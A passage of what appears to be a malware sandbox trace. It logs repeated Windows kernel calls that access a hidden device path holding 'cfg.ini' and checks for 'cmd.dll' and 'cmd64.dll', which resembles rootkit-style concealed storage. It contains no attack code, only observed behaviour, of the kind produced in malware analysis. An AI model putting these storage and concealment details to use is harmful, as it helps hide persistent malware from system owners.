_Dest="0d24eb7c\\cfg.ini") returned 16 [0122.287] KeEnterCriticalRegion () [0122.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.287] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.287] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.287] KeLeaveCriticalRegion () [0122.287] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.287] KeEnterCriticalRegion () [0122.287] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.287] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.287] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.287] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.287] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.287] IdePortDispatch () returned 0x103 [0122.287] KeWaitForMutexObject () returned 0x0 [0122.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.288] KeLeaveCriticalRegion () [0122.288] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.288] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.288] KeEnterCriticalRegion () [0122.288] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.288] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c63000 [0122.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.288] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.288] IdePortDispatch () returned 0x103 [0122.288] KeWaitForMutexObject () returned 0x0 [0122.288] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.288] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.288] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.288] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.288] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.288] IdePortDispatch () returned 0x103 [0122.288] KeWaitForMutexObject () returned 0x0 [0122.288] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.288] KeLeaveCriticalRegion () [0122.288] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.289] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.289] KeEnterCriticalRegion () [0122.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.289] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.289] KeLeaveCriticalRegion () [0122.289] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.289] KeEnterCriticalRegion () [0122.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.289] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.289] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.289] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.289] KeLeaveCriticalRegion () [0122.289] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.289] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.289] KeEnterCriticalRegion () [0122.289] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.289] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.290] KeLeaveCriticalRegion () [0122.290] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.290] ReleaseMutex (hMutex=0xf0) returned 1 [0122.290] Sleep (dwMilliseconds=0x124f80) [0122.307] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.307] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.307] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.307] KeEnterCriticalRegion () [0122.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.307] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.307] IdePortDispatch () returned 0x103 [0122.307] KeWaitForMutexObject () returned 0x0 [0122.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.308] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.308] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.308] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.308] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.308] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.308] KeLeaveCriticalRegion () [0122.308] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.308] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.308] KeEnterCriticalRegion () [0122.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.308] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.308] KeLeaveCriticalRegion () [0122.308] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.308] KeEnterCriticalRegion () [0122.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.308] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.308] IdePortDispatch () returned 0x103 [0122.308] KeWaitForMutexObject () returned 0x0 [0122.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.309] KeLeaveCriticalRegion () [0122.309] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.309] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.309] KeEnterCriticalRegion () [0122.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.309] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c68000 [0122.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.309] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.309] IdePortDispatch () returned 0x103 [0122.309] KeWaitForMutexObject () returned 0x0 [0122.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.309] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.309] IdePortDispatch () returned 0x103 [0122.309] KeWaitForMutexObject () returned 0x0 [0122.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.309] KeLeaveCriticalRegion () [0122.309] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.310] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.310] KeEnterCriticalRegion () [0122.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] KeLeaveCriticalRegion () [0122.310] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.310] KeEnterCriticalRegion () [0122.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] KeLeaveCriticalRegion () [0122.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.310] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.310] KeEnterCriticalRegion () [0122.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.310] KeLeaveCriticalRegion () [0122.310] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.310] ReleaseMutex (hMutex=0xf0) returned 1 [0122.310] Sleep (dwMilliseconds=0x124f80) [0122.330] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.330] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.330] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.330] KeEnterCriticalRegion () [0122.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.330] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.330] IdePortDispatch () returned 0x103 [0122.331] KeWaitForMutexObject () returned 0x0 [0122.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.331] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.331] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.331] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.331] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.331] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.331] KeLeaveCriticalRegion () [0122.331] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.331] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.331] KeEnterCriticalRegion () [0122.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.331] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.331] KeLeaveCriticalRegion () [0122.331] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.331] KeEnterCriticalRegion () [0122.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.331] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.331] IdePortDispatch () returned 0x103 [0122.331] KeWaitForMutexObject () returned 0x0 [0122.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.331] KeLeaveCriticalRegion () [0122.331] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.332] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.332] KeEnterCriticalRegion () [0122.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6d000 [0122.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.332] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.332] IdePortDispatch () returned 0x103 [0122.332] KeWaitForMutexObject () returned 0x0 [0122.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.332] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.332] IdePortDispatch () returned 0x103 [0122.332] KeWaitForMutexObject () returned 0x0 [0122.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.332] KeLeaveCriticalRegion () [0122.332] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.333] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.333] KeEnterCriticalRegion () [0122.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] KeLeaveCriticalRegion () [0122.333] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.333] KeEnterCriticalRegion () [0122.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.333] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] KeLeaveCriticalRegion () [0122.333] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.333] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.333] KeEnterCriticalRegion () [0122.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.333] KeLeaveCriticalRegion () [0122.333] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.333] ReleaseMutex (hMutex=0xf0) returned 1 [0122.333] Sleep (dwMilliseconds=0x124f80) [0122.347] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.347] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.347] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.347] KeEnterCriticalRegion () [0122.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.348] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.348] IdePortDispatch () returned 0x103 [0122.348] KeWaitForMutexObject () returned 0x0 [0122.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.348] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.348] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.348] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.348] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.348] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3fb0 [0122.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.348] KeLeaveCriticalRegion () [0122.348] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.348] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.348] KeEnterCriticalRegion () [0122.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.348] KeLeaveCriticalRegion () [0122.348] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.348] KeEnterCriticalRegion () [0122.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.348] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.348] IdePortDispatch () returned 0x103 [0122.348] KeWaitForMutexObject () returned 0x0 [0122.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.349] KeLeaveCriticalRegion () [0122.349] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.349] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.349] KeEnterCriticalRegion () [0122.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.349] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c72000 [0122.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.349] KeInitializeEvent (in: Event=0xfffff880028da5d0, 